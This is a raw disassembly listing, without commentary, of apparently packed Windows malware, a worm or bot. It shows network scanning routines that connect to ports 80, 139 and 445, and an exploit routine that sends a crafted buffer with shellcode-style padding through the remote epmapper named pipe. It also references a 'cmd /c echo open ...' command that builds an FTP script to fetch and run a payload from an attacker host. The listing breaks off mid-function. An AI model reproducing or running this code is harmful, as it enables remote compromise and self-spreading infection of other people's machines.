		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41C360
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4321A0
		push	eax
		call	sub_40CD9E
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D63B
		xor	eax, eax
		jmp	loc_40D767
; ---------------------------------------------------------------------------


loc_40D63B:				; CODE XREF: .packed:0040D632j
		mov	[ebp-0Ch], esi


loc_40D63E:				; CODE XREF: .packed:0040D73Ej
		test	esi, esi
		jnz	loc_40D744
		push	6
		push	1
		push	2
		call	dword_427204	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D72C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB9E4	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA24	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D721
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6E9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9B3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4E2
		add	esp, 1Ch
		jmp	short loc_40D71E
; ---------------------------------------------------------------------------


loc_40D6E9:				; CODE XREF: .packed:0040D6A7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D703
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D2A2
		jmp	short loc_40D71B
; ---------------------------------------------------------------------------


loc_40D703:				; CODE XREF: .packed:0040D6F3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D721
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1C8


loc_40D71B:				; CODE XREF: .packed:0040D701j
		add	esp, 0Ch


loc_40D71E:				; CODE XREF: .packed:0040D6E7j
		movzx	esi, al


loc_40D721:				; CODE XREF: .packed:0040D69Aj
					; .packed:0040D70Dj
		push	ebx
		call	dword_4CBA7C	; closesocket
		test	esi, esi
		jnz	short loc_40D737


loc_40D72C:				; CODE XREF: .packed:0040D657j
		push	3E8h
		call	dword_427080	; Sleep


loc_40D737:				; CODE XREF: .packed:0040D72Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D63E


loc_40D744:				; CODE XREF: .packed:0040D640j
		lea	ecx, [ebp-8]
		call	sub_40CBC3
		test	esi, esi
		jz	short loc_40D765
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431808[eax]
		lea	eax, dword_431808[eax]


loc_40D765:				; CODE XREF: .packed:0040D74Ej
		mov	eax, esi


loc_40D767:				; CODE XREF: .packed:0040D636j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A88


loc_40D76C:				; CODE XREF: sub_426A88+3j
					; .packed:00426AA1j ...
		push	1
		call	sub_40D977
		retn
; END OF FUNCTION CHUNK	FOR sub_426A88

; =============== S U B	R O U T	I N E =======================================



sub_40D774	proc near		; CODE XREF: sub_40D340+110p
					; sub_40D340+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D78E
		call	sub_42629A


loc_40D78E:				; CODE XREF: sub_40D774+13j
		test	ebx, ebx
		jbe	short loc_40D7C5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D7C5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BF70
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D7C5:				; CODE XREF: sub_40D774+1Cj
					; sub_40D774+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D774	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7CD	proc near		; CODE XREF: sub_40D340+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7E7
		call	sub_42629A


loc_40D7E7:				; CODE XREF: sub_40D7CD+13j
		test	ebx, ebx
		jbe	short loc_40D81C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D81C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D81C:				; CODE XREF: sub_40D7CD+1Cj
					; sub_40D7CD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D824	proc near		; CODE XREF: sub_40D340+17Cp
					; sub_4261B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D83C
		call	sub_426173


loc_40D83C:				; CODE XREF: sub_40D824+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D84E
		mov	esi, [ebp+arg_8]


loc_40D84E:				; CODE XREF: sub_40D824+25j
		cmp	edi, ebx
		jnz	short loc_40D870
		push	dword_427678
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9E8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9E8
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D870:				; CODE XREF: sub_40D824+2Cj
		test	esi, esi
		jbe	short loc_40D8B3
		cmp	esi, eax
		jnz	short loc_40D8B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D884
		mov	eax, offset dword_427688


loc_40D884:				; CODE XREF: sub_40D824+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8B3
		push	1
		mov	ecx, edi
		call	sub_40D977
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D89F
		mov	eax, offset dword_427688


loc_40D89F:				; CODE XREF: sub_40D824+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D8B3:				; CODE XREF: sub_40D824+4Ej
					; sub_40D824+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D8E9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8CD
		mov	eax, offset dword_427688


loc_40D8CD:				; CODE XREF: sub_40D824+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CD20
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D8E9:				; CODE XREF: sub_40D824+4Aj
					; sub_40D824+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D824	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F2	proc near		; CODE XREF: sub_40D340+3Dp
					; sub_40D774+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D904
		call	sub_42629A


loc_40D904:				; CODE XREF: sub_40D8F2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D92D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D92D
		cmp	al, 0FFh
		jz	short loc_40D92D
		cmp	edi, edx
		jnz	short loc_40D968
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D922:				; CODE XREF: sub_40D8F2+47j
		mov	ecx, esi
		call	sub_40D977


loc_40D929:				; CODE XREF: sub_40D8F2+4Bj
					; sub_40D8F2+52j
		xor	al, al
		jmp	short loc_40D972
; ---------------------------------------------------------------------------


loc_40D92D:				; CODE XREF: sub_40D8F2+19j
					; sub_40D8F2+20j ...
		cmp	edi, edx
		jnz	short loc_40D946
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D93B
		push	1
		jmp	short loc_40D922
; ---------------------------------------------------------------------------


loc_40D93B:				; CODE XREF: sub_40D8F2+43j
		cmp	ecx, edx
		jz	short loc_40D929
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D929
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D8F2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D963
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D958
		cmp	eax, edi
		jnb	short loc_40D970


loc_40D958:				; CODE XREF: sub_40D8F2+60j
		push	1
		mov	ecx, esi
		call	sub_40D977
		jmp	short loc_40D968
; ---------------------------------------------------------------------------


loc_40D963:				; CODE XREF: sub_40D8F2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D970


loc_40D968:				; CODE XREF: sub_40D8F2+28j
					; sub_40D8F2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA4F


loc_40D970:				; CODE XREF: sub_40D8F2+64j
					; sub_40D8F2+74j
		mov	al, 1


loc_40D972:				; CODE XREF: sub_40D8F2+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D977	proc near		; CODE XREF: sub_40D340+1Fp
					; sub_40D340+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D9A3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D9A3
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D99C
		cmp	al, 0FFh
		jz	short loc_40D99C
		dec	al
		mov	[ecx], al
		jmp	short loc_40D9A3
; ---------------------------------------------------------------------------


loc_40D99C:				; CODE XREF: sub_40D977+19j
					; sub_40D977+1Dj
		push	ecx
		call	sub_41D65F
		pop	ecx


loc_40D9A3:				; CODE XREF: sub_40D977+8j
					; sub_40D977+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D977	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B3	proc near		; CODE XREF: .packed:0040D6D3p
					; sub_40DB0C+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D9E1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D9E1:				; CODE XREF: sub_40D9B3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E8	proc near		; CODE XREF: sub_40D824+39p
					; sub_40D824+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9FB
		call	sub_426173


loc_40D9FB:				; CODE XREF: sub_40D9E8+Cj
		mov	ecx, edi
		call	sub_40DB0C
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA11
		mov	ebx, eax


loc_40DA11:				; CODE XREF: sub_40D9E8+25j
		test	ebx, ebx
		jbe	short loc_40DA47
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D670
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40DA47
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40DA47:				; CODE XREF: sub_40D9E8+2Bj
					; sub_40D9E8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA4F	proc near		; CODE XREF: sub_40D8F2+79p
		mov	eax, offset loc_426AD0
		call	sub_41D640
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA75
		mov	edi, [ebp+8]


loc_40DA75:				; CODE XREF: sub_40DA4F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA82
		xor	eax, eax


loc_40DA82:				; CODE XREF: sub_40DA4F+2Fj
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAB3
; ---------------------------------------------------------------------------


loc_40DA8E:				; DATA XREF: .packed:00427F84o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA9D
		xor	eax, eax


loc_40DA9D:				; CODE XREF: sub_40DA4F+4Aj
		push	eax
		call	sub_41D9A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DAAD
		retn
; ---------------------------------------------------------------------------


loc_40DAAD:				; DATA XREF: sub_40DA4F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40DAB3:				; CODE XREF: sub_40DA4F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAD1
		cmp	eax, edi
		jbe	short loc_40DAC0
		mov	eax, edi


loc_40DAC0:				; CODE XREF: sub_40DA4F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_40DAD1:				; CODE XREF: sub_40DA4F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D977
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAF1
		mov	edi, ebx


loc_40DAF1:				; CODE XREF: sub_40DA4F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB0C	proc near		; CODE XREF: sub_40D9E8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB39
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB39
		cmp	al, 0FFh
		jz	short loc_40DB39
		push	1
		call	sub_40D977
		push	esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9B3


loc_40DB39:				; CODE XREF: sub_40DB0C+9j
					; sub_40DB0C+10j ...
		pop	edi
		pop	esi
		retn
sub_40DB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; DATA XREF: .packed:00429008o
		test	byte_4DC028, 1
		jnz	short loc_40DB4C
		or	byte_4DC028, 1


loc_40DB4C:				; CODE XREF: sub_40DB3C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41DA20
		pop	ecx
		retn
sub_40DB3C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB5E	proc near		; CODE XREF: .packed:0040DF74p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432950
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_432948 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43DB98
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	dword_4270E8	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CE704
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4CBA84
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC22
		cmp	eax, ebx
		jnz	short loc_40DC2C


loc_40DC22:				; CODE XREF: sub_40DB5E+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4CBA84


loc_40DC2C:				; CODE XREF: sub_40DB5E+C2j
		cmp	eax, 5
		jz	short loc_40DC3A
		cmp	eax, ebx
		jz	short loc_40DC3A
		push	1
		pop	eax
		jmp	short loc_40DC3C
; ---------------------------------------------------------------------------


loc_40DC3A:				; CODE XREF: sub_40DB5E+D1j
					; sub_40DB5E+D5j
		xor	eax, eax


loc_40DC3C:				; CODE XREF: sub_40DB5E+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC41	proc near		; CODE XREF: .packed:0040DFC6p
					; .packed:0040E0A6p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_432950
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_432948 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43DB98
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	dword_4270E8	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		add	esp, 10h


loc_40DCD2:				; CODE XREF: sub_40DC41+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4CB91C
		test	eax, eax
		jz	short loc_40DCF2
		push	7D0h
		call	dword_427080	; Sleep
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------


loc_40DCF2:				; CODE XREF: sub_40DC41+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCF9	proc near		; CODE XREF: .packed:0040DFF5p
					; .packed:0040E133p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C500
		push	esi
		push	edi
		push	offset byte_429110
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B22B
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF48
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_40DD7E:				; CODE XREF: sub_40DCF9+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDCE
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD7E
; ---------------------------------------------------------------------------


loc_40DDCE:				; CODE XREF: sub_40DCF9+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDE9
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDF2
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDF0
; ---------------------------------------------------------------------------


loc_40DDE9:				; CODE XREF: sub_40DCF9+DCj
		cmp	[ebp+arg_C0], 3


loc_40DDF0:				; CODE XREF: sub_40DCF9+EEj
		jnz	short loc_40DDFB


loc_40DDF2:				; CODE XREF: sub_40DCF9+E5j
		push	4
		push	offset dword_432944
		jmp	short loc_40DE02
; ---------------------------------------------------------------------------


loc_40DDFB:				; CODE XREF: sub_40DCF9:loc_40DDF0j
		push	4
		push	offset dword_432940


loc_40DE02:				; CODE XREF: sub_40DCF9+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_432478
		push	eax
		call	sub_41CD20
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4327DC
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CD20
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4327F0
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		add	edi, 3Ch
		push	30h
		push	offset dword_432830
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BEB5
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BF70
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CD20
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DF48:				; CODE XREF: sub_40DCF9+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCF9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C500
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0BA
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB5E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	dword_4270F8	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFD1


loc_40DFC2:				; CODE XREF: .packed:0040E072j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		pop	ecx
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40DFD1:				; CODE XREF: .packed:0040DFC0j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_4182CD
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E069
		mov	edi, 186A0h
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_43242C
		push	dword ptr [ebp-4]
		call	dword_4270F4	; TransactNamedPipe
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E059
		lea	eax, [ebp-14h]
		push	ebx
